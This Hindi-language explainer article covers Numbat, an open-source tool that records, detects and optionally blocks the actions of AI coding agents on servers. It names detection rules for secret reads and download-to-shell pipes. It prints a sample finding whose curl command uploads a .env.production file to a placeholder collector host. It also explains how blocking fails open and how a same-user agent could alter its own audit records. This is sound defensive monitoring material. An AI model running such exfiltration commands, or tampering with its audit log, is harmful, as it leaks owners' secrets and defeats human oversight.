Numbat से जानें AI agent ने server पर क्या किया
Perplexity का open-source Numbat AI coding agents की activities record करता है। जानें यह क्या देख सकता है, SSH private key जैसे व्यवहार कैसे पकड़ता है और क्या नहीं रोक सकता।
Numbat क्या है
Numbat आपको यह देखने की सुविधा देता है कि आपके स्वामित्व वाली मशीन पर किसी AI agent ने क्या किया। यह उन hook callbacks और session files को पढ़ता है जिन्हें coding agents पहले से बनाते हैं, उन्हें एक समान event format में सामान्यीकृत करता है, और उन rules से मिलाता है जो SSH private key पढ़ने या download को सीधे shell में pipe करने जैसे व्यवहार पर सक्रिय होते हैं। Perplexity ने इसे Apache 2.0 के अंतर्गत open source के रूप में जारी किया। इसका पहला tagged release 29 July 2026 को जारी हुआ।
नीचे दी गई सभी जानकारी project के repository और उसके documentation से ली गई है, जिन्हें 2 August 2026 को पढ़ा गया था। जहाँ Perplexity कोई दावा करता है, वहाँ यह लेख उसे Perplexity का दावा बताता है। यह install tutorial नहीं है, क्योंकि repository अभी कुछ ही दिन पुरानी है और इसके commands बदल सकते हैं।
समस्या: agent ने क्या किया, इसका कोई रिकॉर्ड नहीं होता
आपके VPS पर चलने वाला coding agent shell commands चलाता है, files पढ़ता है, files लिखता है और network connections खोलता है। यह सब उसी user के रूप में होता है जिसे आपने उसे सौंपा है। आपकी shell history इनमें से कुछ भी record नहीं करती, क्योंकि agent आपके shell में type नहीं कर रहा होता। sshd केवल आपके login को log करता है। इसके बाद model ने क्या करने का निर्णय लिया, उसे यह record नहीं करता। /var/log/auth.log तब तक शांत रहता है, जब तक कोई sudo तक पहुंचने का प्रयास न करे। Agent अपना transcript रखता है, लेकिन वह file agent की session directory में रहती है। उसका format releases के बीच बदलता रहता है। Agent की अपनी process भी उसमें लिख सकती है।
इसलिए जब कोई पूछता है कि agent ने पिछले मंगलवार को .env.production पढ़ा था या नहीं, तो अधिकांश servers पर ईमानदार उत्तर यह है कि आप बता नहीं सकते। इसी कमी के कारण यह project बनाया गया है।
Perplexity के अनुसार Numbat क्या करता है
README की शुरुआत इस टूल का वर्णन इस प्रकार करती है: "AI agent की गतिविधि की endpoint visibility, जिसमें local detection, optional pre-action blocking और forensic reconstruction शामिल हैं"। यहां endpoint से आशय उस मशीन से है जिस पर agent चलता है, न कि बाहर से निगरानी करने वाले network appliance से। ये अलग-अलग क्षमताएं हैं और इनका महत्व भी अलग है।
Detection डिवाइस पर चलता है। नियम CEL (common expression language) में लिखे जाते हैं और स्थानीय रूप से evaluate किए जाते हैं। इनके ऊपर multi-step sequence rules और YAML में अपने नियम लिखने का support भी है। किसी नियम के trigger होने के लिए कोई data मशीन से बाहर नहीं जाना पड़ता।
Blocking optional और सीमित है। यह केवल synchronous pre-action hooks के माध्यम से काम करता है। यह उन्हीं agents पर उपलब्ध है जो ऐसा hook expose करते हैं, और इसे सक्षम करने तक यह बंद रहता है।
Reconstruction बाद में होती है। numbat scan उन session artifacts को parse करता है जिन्हें agent पहले ही disk पर लिख चुका है। इसलिए आप किसी activity को उस समय से भी देख सकते हैं जब आपने कोई टूल install नहीं किया था। Project इस दावे की सीमा स्पष्ट करता है: "At-rest reconstruction, disk या memory acquisition नहीं है और उस activity को recover नहीं कर सकता जिसे agent ने persist नहीं किया।"
Output versioned NDJSON (newline delimited JSON) होता है। इसमें events, findings, enforcement decisions, indicators और scan summaries शामिल होते हैं। v0.1.2 के अनुसार schema version 0.2.0 है। Records stdout या किसी local file में लिखे जाते हैं और वैकल्पिक रूप से आपके द्वारा चलाए गए collector को HTTP के माध्यम से भेजे जा सकते हैं। यह cgo के बिना build किया गया एक static Go binary है। यह amd64 और arm64 पर macOS, Linux और Windows के लिए उपलब्ध है। इसलिए Linux VPS पर पहले कोई runtime install किए बिना यह एक single file के रूप में चलता है।
Numbat वास्तव में किन agents को देख सकता है?
docs/agent-coverage.md में दी गई coverage matrix आधिकारिक सूची है, और इसमें coverage समान नहीं है। Project इसे छिपाने के बजाय स्पष्ट रूप से बताता है। Claude Code, Codex, Gemini CLI, Cursor और GitHub Copilot CLI में artifact scanning और live capture, दोनों के लिए pre-action hook उपलब्ध है। OpenClaw को version 2026.7.1 से native plugin मिलता है। कई अन्य entries को deferred के रूप में चिह्नित किया गया है। इसका अर्थ है कि live hook path उपलब्ध है, लेकिन artifact parser उपलब्ध नहीं है। इसका सामान्य कारण यह है कि agent अपना history SQLite में write-ahead log के साथ संग्रहीत करता है, जिसे agent के चलने के दौरान सुरक्षित रूप से पढ़ा नहीं जा सकता। 2 August 2026 को matrix पढ़े जाने के समय OpenCode और Cline इसी समूह में थे।
इस tool के आधार पर कोई योजना बनाने से पहले अपने agent की row जाँच लें, क्योंकि लगभग हर line में "supported" का अर्थ अलग है।
Detection कैसा दिखाई देता है
Rules में ऐसे ids होते हैं जो बताते हैं कि उनका उद्देश्य क्या है। secrets.read_private_key किसी SSH key, AWS credentials, kube config या package registry login को कवर करता है। exec.download_pipe_shell तब सक्रिय होता है जब curl या wget का output किसी interpreter को pipe किया जाता है। privilege.elevated_shell, sudo, doas, su या pkexec के माध्यम से interactive root shell के अनुरोध को पकड़ता है। impact.cryptomining_launch ज्ञात miner binaries और image names से match करता है।
Sequence rules एक ही session के अंदर होने वाली घटनाओं को जोड़ते हैं। chain.secret_read_then_egress के लिए पहले किसी secret file को पढ़ना और उसके बाद data को बाहर भेजने वाला command चलाना आवश्यक है। README नीचे दिया गया finding, live incident से नहीं, बल्कि दो Claude Code pre-action callbacks के controlled replay से प्रकाशित करता है। यहां केवल महत्वपूर्ण fields रखी गई हैं:
{
"record_type": "finding",
"rule_id": "chain.secret_read_then_egress",
"rule_version": "1.4",
"severity": "high",
"confidence": "medium",
"title": "Secret-file access followed by data-bearing egress",
"observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
"source_agent": "claude-code",
"source_type": "hook",
"tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}रिकॉर्ड में "confidence": "medium" मौजूद है, इस पर ध्यान दें। पूरे output वर्ग के बारे में project का कथन भी ध्यान दें: "Findings rule matches हैं, compromise का प्रमाण नहीं।" कोई deploy script key पढ़कर build artifact upload करे, तो वह उसी sequence rule से match होगी। Match सही है, लेकिन alarm गलत है। आपके द्वारा चलाए गए हर detection tool की सामान्य स्थिति यही होती है।
डिफ़ॉल्ट रूप से ब्लॉकिंग बंद है और विफलता पर अनुमति मिलती है
Numbat में शामिल हर नियम केवल मॉनिटरिंग करता है। किसी नियम को ब्लॉकिंग नियम बनाने के लिए जानबूझकर काम करना पड़ता है: नियम का पूरा YAML अपनी निर्देशिका में कॉपी करें, वही id रखें, enforce: true जोड़ें, version बढ़ाएँ, फिर उस policy को validate और install करें।
numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
--rules-dir ./numbat-policy --enforceअब उस हिस्से पर ध्यान दें जो तय करता है कि आपको इस पर कितना भरोसा करना चाहिए। Numbat का deny agent को लौटाया गया response है। Tool call को वास्तव में अस्वीकार करने का काम agent करता है। Enforcement guide स्पष्ट रूप से बताती है कि Numbat में स्वयं समस्या आने पर क्या होता है: "Malformed payloads, relevant evaluation errors, panics, and output failures suppress the numbat deny." Hook input की सीमा 4 MiB है। इससे बड़ा input भी इसी प्रक्रिया से गुजरता है।
Guide उस deny की सीमा भी स्पष्ट रूप से बताती है जो agent तक पहुँच जाता है: "Fail-open means numbat withholds its deny response. It does not guarantee that the tool executes: the host may still prompt, deny, time out, or apply another hook or policy."
इसलिए यहाँ enforcement एक सुरक्षा-नियंत्रण है, पूर्ण सुरक्षा-सीमा नहीं। यदि process crash हो जाता है, तो Numbat action को ब्लॉक नहीं करता। ऐसा monitor, जो हर समस्या पर आपके agent को रोक दे, एक सप्ताह के भीतर uninstall कर दिया जाएगा। यह समझौता उचित है। लेकिन ऐसा security model न बनाएँ जो यह मानकर चले कि deny हमेशा पहुँचता है।
Numbat आपके मौजूदा कार्यों के साथ कैसे काम करता है
Numbat endpoint पर agent की अपनी process tree के अंदर चलता है और डिफ़ॉल्ट रूप से ~/.numbat/records.ndjson में लिखता है। आपके user के रूप में चलने वाला agent उस फ़ाइल को पढ़ सकता है। वह उसे संपादित भी कर सकता है। Audit trail का मूल्य उसके चारों ओर मौजूद isolation के बराबर ही होता है। इसलिए आपके सभी मौजूदा नियंत्रण इस नियंत्रण के पीछे नहीं, बल्कि इसके सामने लागू होने चाहिए।
Coding agent के लिए disposable VM देना यह सीमित करता है कि कोई खराब run किन संसाधनों तक पहुंच सकता है। VPS पर least privilege user agent को उन फ़ाइलों से दूर रखता है जिन्हें खोलने का उसे अधिकार नहीं है। Agent के context से credentials को बाहर रखना यह सुनिश्चित करता है कि secrets.read_private_key का मिलान इतना दुर्लभ हो कि सक्रिय होने पर उसे पढ़ना उपयोगी हो। और VPS पर Claude Code के लिए आपके द्वारा बनाया गया sandbox ही containment लागू करता है।
Numbat जो जोड़ता है, वह record है। इसलिए record को ऐसे स्थान पर भेजें जहां agent पहुंच न सके। numbat ship और HTTP sink इसी उद्देश्य के लिए हैं। दूसरे machine पर stream की एक copy होना log file और evidence के बीच का अंतर है। Event model में MCP (model context protocol) fields भी होते हैं। इसलिए VPS पर आपके द्वारा host किए गए MCP server के माध्यम से बाहर जाने वाले tool calls local shell commands के साथ उसी stream में आते हैं। यह महत्वपूर्ण है, क्योंकि केवल bash को monitor करने वाले किसी भी तंत्र को वह path दिखाई नहीं देता।
पहले केवल-पठन मोड में आज़माएँ
एक निश्चित version install करें। go install के लिए Go 1.26.5 या नया version आवश्यक है। यदि आप source से build नहीं करना चाहते हैं, तो releases page पर SHA-256 checksums के साथ पहले से build की गई binaries उपलब्ध हैं।
go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scannumbat agents इस server पर install किए गए agents खोजता है। numbat scan disk पर पहले से मौजूद session artifacts को parse करता है और records प्रदर्शित करता है। README में बताया गया है कि ये commands "hooks install नहीं करते और agent configuration में बदलाव नहीं करते"। इसमें यह भी बताया गया है कि numbat "artifacts में मिले agents या commands को कभी execute नहीं करता और केवल configured HTTP sinks को outbound requests भेजता है"। Scanning secret redaction के साथ केवल-पठन मोड में होती है। सामान्य record output में पूरा raw transcript कभी शामिल नहीं होता।
Live capture अगला चरण है। इससे agent configuration में बदलाव होता है:
numbat hook install --agent codex --emit all
numbat hook status --agent codex--emit all events, findings, indicators और लागू enforcement decisions को ~/.numbat/records.ndjson में लिखता है। Project में दो सावधानियाँ स्पष्ट रूप से दी गई हैं। Hooks को चलने से पहले agent के भीतर trusted करना पड़ सकता है। --enforce जैसे flags बदलने के बाद उस trust की फिर से समीक्षा करनी होती है। इसके अतिरिक्त, hook status "configuration को verify करता है, execution या delivery को नहीं"। इसलिए healthy status line यह प्रमाण नहीं है कि records कहीं पहुँच रहे हैं।
इतना नया repository dependency क्यों नहीं है
Public releases v0.1.1 29 July 2026 को और v0.1.2 1 August 2026 को जारी हुए। यह पोस्ट 2 August 2026 को लिखे जाने के समय repository पर 597 stars थे। इतनी तेज़ी से बढ़ती संख्या Perplexity के audience को दर्शाती है, code की स्थिरता को नहीं। Star का अर्थ है कि किसी ने पेज को बाद में देखने के लिए सहेजा है।
Version number स्पष्ट रूप से बताता है कि यह project किस चरण में है। v0.1.2 के notes में मुख्यतः credential redaction fixes के साथ case bundle और telemetry normalisation से जुड़े काम हैं। ऐसे tool में redaction bugs शुरुआती defects का अपेक्षित रूप हैं, जिसका काम दूसरे programs के transcripts को सुरक्षित रूप से पढ़ना है। ऐसे bugs और भी होंगे, क्योंकि input एक दर्जन agents से आते हैं और प्रत्येक agent अपने format को अलग schedule के अनुसार बदलता है।
इससे 2 व्यावहारिक नियम निकलते हैं। जिसे भी बनाए रखना हो, उसमें @latest के बजाय tag को pin करें। और इसे ऐसे control के रूप में नहीं, जिसका आप भरोसा करते हैं, बल्कि ऐसे instrument के रूप में देखें जिसका आप मूल्यांकन कर रहे हैं। कम से कम तब तक, जब तक record schema में बदलाव रुक नहीं जाते।
FAQ
क्या Numbat खतरनाक AI agent commands को block करता है?
केवल तब, जब आप इसे opt in करते हैं, और केवल best effort आधार पर। Numbat के साथ आने वाला हर rule केवल monitor करता है। Block करने के लिए, rule के YAML को अपनी directory में copy करें, उसका id बनाए रखें, enforce: true जोड़ें, version बढ़ाएँ और --enforce के साथ hook install करें। इसके बाद भी deny, agent को वापस भेजा गया response होता है और call को अस्वीकार agent ही करता है। Project fail-open behaviour को document करता है: malformed payloads, evaluation errors, panics और output failures, सभी deny को suppress करते हैं। इसे guardrail के रूप में उपयोग करें, अपनी एकमात्र security boundary के रूप में नहीं।
Numbat किन AI agents को support करता है?
हर agent के लिए coverage अलग है और repository में docs/agent-coverage.md में दी गई है। 2 August 2026 को वह page पढ़े जाने पर Claude Code, Codex, Gemini CLI, Cursor और GitHub Copilot CLI में artifact scanning और live capture दोनों उपलब्ध थे, तथा OpenClaw में version 2026.7.1 से native plugin उपलब्ध है। कई अन्य agents के लिए live hook path सूचीबद्ध है, लेकिन artifact parser अभी उपलब्ध नहीं है। इसका सामान्य कारण यह है कि उनका session history SQLite database में रहता है, जिसे agent के चलने के दौरान पढ़ना सुरक्षित नहीं होता। अपने agent की row पढ़ें, क्योंकि वहाँ "supported" शब्द कई अलग-अलग स्तरों को दर्शाता है।
क्या agent Numbat के records के साथ छेड़छाड़ कर सकता है?
हाँ, यदि वह उसी user के रूप में चलता है। Records डिफ़ॉल्ट रूप से agent वाली उसी machine पर ~/.numbat/records.ndjson में होते हैं, इसलिए उस path पर write access रखने वाली कोई भी चीज़ उन्हें बदल या delete कर सकती है। Stream को ऐसे collector पर भेजें, जहाँ agent पहुँच न सके। इसके लिए numbat ship या HTTP sink का उपयोग करें और local file को convenience copy के रूप में रखें। इसी कारण यह tool isolation का पूरक है, उसका replacement नहीं। Least privilege user के अंतर्गत disposable VM में confined agent की अपनी audit trail तक पहुँच बहुत कम होती है।
क्या Numbat production server के लिए तैयार है?
ऐसे control के रूप में नहीं, जिस पर आप निर्भर रहें। पहली public release v0.1.1 29 July 2026 को जारी हुई और v0.1.2 उसके बाद 1 August 2026 को जारी हुई। इसलिए flags और record schema दोनों में अभी बदलाव हो रहे हैं। किसी box पर numbat agents और numbat scan चलाना read-only और low risk है। इससे आपको पता चलेगा कि आपके agents disk पर क्या छोड़ रहे हैं। किसी महत्वपूर्ण server पर enforcement hooks install करना अलग निर्णय है। इसके लिए pinned tag और hook के गलत व्यवहार करने पर क्या होगा, इसकी योजना आवश्यक है।